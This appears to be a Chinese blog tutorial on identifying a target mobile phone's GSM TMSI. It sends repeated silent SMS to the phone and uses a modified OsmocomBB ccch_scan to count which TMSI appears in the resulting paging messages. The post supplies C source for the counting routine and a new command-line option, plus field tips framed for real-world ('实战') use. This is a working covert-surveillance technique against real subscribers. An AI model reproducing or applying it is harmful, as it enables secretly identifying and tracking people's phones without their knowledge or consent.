在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。数据结构
struct _tmsis_ {
uint8_t tmsi[4];
char cnt;
} tmsis[300];
列出TMSI的源代码
void tmsi_match(uint8_t *t)
{
if(app_state.finding==1){
int i;
int f=0;
for(i=0; i < app_state.tmsicnt; i++){
if(!memcmp(t, tmsis[i].tmsi, 4)) {
tmsis[i].cnt += 1;
f=1;
if(tmsis[i].cnt > app_state.mincnt){
printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
}
}
}
if((f==0)&&(app_state.tmsicnt<300)){//队列深度
app_state.tmsicnt += 1;
memcpy(tmsis[i].tmsi,t,4);
tmsis[i].cnt = 1;
printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
}
return;
}
if(!memcmp(t, app_state.wanted_tmsi, 4)) {
app_state.tmsi_matched = 1;
printf("TMSI Match %s\n", osmo_hexdump(t,4));
}
}
我们给ccch_scan新增加一个参数:-f paging次数。
国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。
static int l23_cfg_print_help()
{
printf("\nApplication specific\n");
printf(" -k --kc KEY Key to use to try to decipher DCCHs\n");
printf(" -t --tmsi TMSI Filter assignments with specified TMSI (paging only)\n");
printf(" -f --count Filter paging TMSI\n");
return 0;
}
static int l23_cfg_handle(int c, const char *optarg)
{
switch (c) {
case 'k':
if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
fprintf(stderr, "Invalid Kc\n");
exit(-1);
}
break;
case 't':
if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
fprintf(stderr, "Invalid TMSI\n");
exit(-1);
}
app_state.finding = 0;
break;
case 'f':
app_state.finding = 1;
app_state.mincnt= atoi(optarg);
break;
default:
return -1;
}
return 0;
}
运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:
同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:
我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:
评论